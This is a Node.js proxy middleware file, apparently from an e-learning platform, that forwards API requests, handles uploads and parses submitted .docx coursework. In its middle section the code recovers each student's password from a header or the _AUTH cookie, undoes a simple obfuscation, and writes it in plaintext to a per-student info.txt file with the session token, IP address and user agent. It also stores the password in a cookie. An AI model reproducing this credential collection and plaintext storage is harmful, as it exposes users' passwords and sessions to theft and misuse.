const fs = require('fs')

const conf = require('../config')
const com = require('@god/node-com')

const _ = require('lodash')
const axios = require('axios')
const FormData = require('form-data')
const md5 = require('md5-node')
const AdmZip = require('adm-zip')

// const _logs = require('./logs')
/* 支持 finally函数 */
require('promise.prototype.finally').shim()

/* 通过API统一过拦截器，接口代理转发请求 */
const agentProcessor = () => {
  return (req, res) => {
    let timestamp = new Date().getTime()
    let json = Buffer.from(req.headers['cur-json'] || '', 'base64').toString() || '{}'
    json = JSON.parse(json)
    const signStr = json.auth + ':' + req.params[0] + ':' + timestamp
    const uuid = md5(signStr)

    /* 所有的请求进行 分日期、学员号目录存储 */
    /* 增加 日期目录 */
    let dateDir = com.datetime.timestampToFormatDateStr(new Date().getTime())
    /* 增加 学员目录 */
    let stuDir = (json.name + '#' + json.auth) || '其他'
    /* 学员目录 */
    let stuPath = 'upload_tmp/' + dateDir + '/' + stuDir
    com.dir.mkDir(stuPath)

    let headers = _.assignIn({}, req.headers)
    let options = {}
    /* 删除一些 不必要属性 */
    let pwdBase64 = headers['pmd5'] || ''
    delete headers['pmd5'] // pwd base64
    try {
      options = {
        timeout: 30 * 1000,
        url: req.params[0], // .replace(/tenant\//gi, '')
        baseURL: conf.agentApiUrl,
        method: req.method,
        data: req.body,
        params: req.query
      }
      /* 测试 */
      // if (/\/essay/gi.test(options.url) && /post/gi.test(req.method)) {
      //   console.time('essay')
      //   options.baseURL = 'http://192.168.3.249:8081/'
      //   options.url = options.url.replace(/tenant\//gi, '')
      //   console.log(options.baseURL + options.url)
      // }
      headers['accept'] = '*/*'
      delete headers['accept-language']
      if (/application\/x-www-form-urlencoded/gi.test(headers['content-type'])) {
        let str = ''
        for (let k in options.data) {
          str += k + '=' + options.data[k] + '&'
        }
        options.data = str.substr(0, str.length - 1)
      }
      let _fileName = []
      if (/multipart\/form-data/gi.test(headers['content-type'])) {
        let _obj = _.assignIn({}, req.body)
        req.files.forEach((elem, i) => {
          /* 缓存文件中 名称替换，上传名称一致 会被覆盖 */
          fs.renameSync(elem.path, elem.destination + elem.originalname)
          _obj[elem.fieldname] = fs.createReadStream(elem.destination + elem.originalname)
          _fileName.push(elem.destination + elem.originalname)
        })
        let fro = new FormData()
        for (let key in _obj) {
          fro.append(key, _obj[key])
        }
        options.data = fro
        delete headers['content-length'] // 需要让axios重新计算传输内容长度，否则传输不完整
        headers['content-type'] = fro.getHeaders()['content-type']
      }

      /* 获取cookie,解析SUP，设置token */
      let _cookieStr = headers['cookie'] || ''
      let _cookieArr = _cookieStr.split(';')
      let _SUP = ''
      for (let i = 0; i < _cookieArr.length; i++) {
        if (/_SUP=/gi.test(_cookieArr[i])) {
          _SUP = _cookieArr[i].split('=')[1]
          break
        }
      }
      headers['token'] = com.cookie.getTicket(_SUP) // _SUP获取

      axios.defaults.headers = headers
      axios.defaults.withCredentials = true
      /* 日志记录，重新修改 2019.01.17 */
      let _log = {
        reqTime: timestamp, // 请求时长
        sys: json.sys, // 系统
        status: '', // 请求状态
        name: json.name, // 姓名
        auth: json.auth, // 账号
        IP: getClientIP(req), // IP值
        uuid: uuid, // uuid
        url: options.url, // 请求地址
        type: '', // 1:视频 2:课后作业 3:作业内容
        self: '', // 根据类型值，自定义 字符串参数
        param: JSON.stringify(options) // 请求参数 JSON str
      }

      /* 基础info数据，写入文件 */
      /* 不存在文件则写入；存在则不写入 */
      fs.stat(stuPath + '/info.txt', (err, stat) => {
        if (err) {
          if (!pwdBase64) { // 从cookie中获取
            let _AUTH = ''
            for (let i = 0; i < _cookieArr.length; i++) {
              if (/_AUTH=/gi.test(_cookieArr[i])) {
                _AUTH = _cookieArr[i].split('=')[1]
                break
              }
            }
            pwdBase64 = com.cryptos.decryptData(_AUTH)
          }
          /* 有密码时，才写入基础数据中 */
          if (pwdBase64 || _SUP) {
            fs.writeFile(stuPath + '/info.txt', [
              'Name: ' + json.name,
              'Sys: ' + json.sys,
              'Auth: ' + json.auth,
              'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
              'Token: ' + _SUP, // 解决验证码登录，没有密码问题 或 没有重复登录过，没有密码问题
              'IP: ' + getClientIP(req),
              'UA: ' + req.headers['user-agent'],
              '\n\n'
            ].join('\n'), function (err) {
              if (err) { return console.error(err) }
            })
          }
        }
      })

      /* 处理特殊请求,在域名为e-learing2时生效 */
      let _stoken = ''
      for (let i = 0; i < _cookieArr.length; i++) {
        if (/_stoken=/gi.test(_cookieArr[i])) {
          _stoken = _cookieArr[i].split('=')[1]
          break
        }
      }
      if (_stoken) {
        headers['stoken'] = _stoken
      }

      /* 重新转发请求 */
      axios(options).then((data) => {
        _log.reqTime = (new Date().getTime() - _log.reqTime) + 'ms'
        _log.status = 200
        // /* 兼容老版本，登录接口 清除_SUP; 退出登录 清除_SUP */
        /* 重新修改，改为只能服务端 设置 cookie */
        if (/tenant\/user\/login/gi.test(options.url) || /tenant\/user\/code-login/gi.test(options.url)) {
          com.cookie.setCookieByYiiWay(data.data.ticket, res, '_SUP', '.ezijing.com')
          com.cookie.setCookieData(pwdBase64, res, '_AUTH', '.ezijing.com')
        }
        if (/v3\/sso\/logout/gi.test(options.url)) {
          res.clearCookie('_SUP', { path: '/', domain: '.ezijing.com' })
          res.clearCookie('_AUTH', { path: '/', domain: '.ezijing.com' })
        }
        /* 如果是大作业提价，先docx解析，解析不出来则报错 */
        if (/tenant\/util\/upload-file/gi.test(options.url) && req.body.special && req.body.special === 'course-work') {
          let _strContent = ''
          let contentXml = null
          try {
            let zip = new AdmZip(_fileName[0]) // filePath为文件路径
            contentXml = zip.readAsText('word/document.xml') // 将document.xml读取为text内容；
            contentXml.match(/<w:t[^>]*?>[\s\S]*?<\/w:t>/ig).forEach((item) => {
              _strContent += item.slice(5, -6) // 不能换行，应该是 解析某些换行规则会比较慢
            })
            data.data.dataStr = Buffer.from(_strContent, 'utf8').toString('base64')
          } catch (e) {
            res.status(500).json({ message: '文档上传出错，错误原因：请不要直接修改后缀“.doc”为“.docx”或者正文内容必须大于400字', errMsg: 'err', code: 500 })
            return
          }
        }
        // setPorxyHeader(data, res)
        res.status(200).send(data.data)
      }).catch((e) => {
        _log.reqTime = (new Date().getTime() - _log.reqTime) + 'ms'
        _log.status = e.response.status || 500
        /* 未登录，则全部清空 _SUP */
        if (e.response.status === 403) {
          res.clearCookie('_SUP', { path: '/', domain: '.ezijing.com' })
          res.clearCookie('_AUTH', { path: '/', domain: '.ezijing.com' })
        }
        /* 返回执行代码出错 或者 服务器请求错误 */
        if (e.response && e.response.data) {
          /* 如果未登录 强制 弹出到 登录页 */
          // setPorxyHeader(e.response, res)
          res.status(e.response.status).json(e.response.data)
          console.error(uuid + String.fromCharCode(0x001) + JSON.stringify(options) + String.fromCharCode(0x001) + JSON.stringify(e.response.data))
        } else {
          res.status(500).json({ message: '系统错误，请稍后重试或联系管理员', errMsg: 'Error Proxy Request or BackData Excute Error', code: 500 })
          console.error(uuid, e)
        }
      }).finally(() => {
        /* 请求结束，删除服务器端 缓存文件 */
        if (_fileName.length) {
          for (let i = 0; i < _fileName.length; i++) {
            fs.unlinkSync(_fileName[i])
          }
        }
        let _str = ''
        for (let key in _log) {
          _str += _log[key] + String.fromCharCode(0x001)
        }
        console.log(_str + ' -- end')
      })
    } catch (e) {
      res.status(500).json({ message: '系统错误，请稍后重试或联系管理员', errMsg: 'Network Server Excute Error', code: 500 })
      console.error('system error:', uuid, e)
    }
  }
}

const getClientIP = (req) => {
  return req.headers['x-forwarded-for'] ||
    req.connection.remoteAddress ||
    req.socket.remoteAddress ||
    req.connection.socket.remoteAddress
}

// const setPorxyHeader = (data, res) => {
//   if (data.headers['set-cookie']) {
//     /* 不准许 服务端设置 _SUP */
//     let _sCookie = data.headers['set-cookie'] || []
//     for (let i = 0; i < _sCookie.length; i++) {
//       if (/_SUP=/gi.test(_sCookie[i])) {
//         _sCookie.splice(i, 1)
//         break
//       }
//     }
//     for (let key in data.headers) {
//       res.append(key, data.headers[key])
//     }
//   }
// }

module.exports = {
  agentProcessor: agentProcessor
}
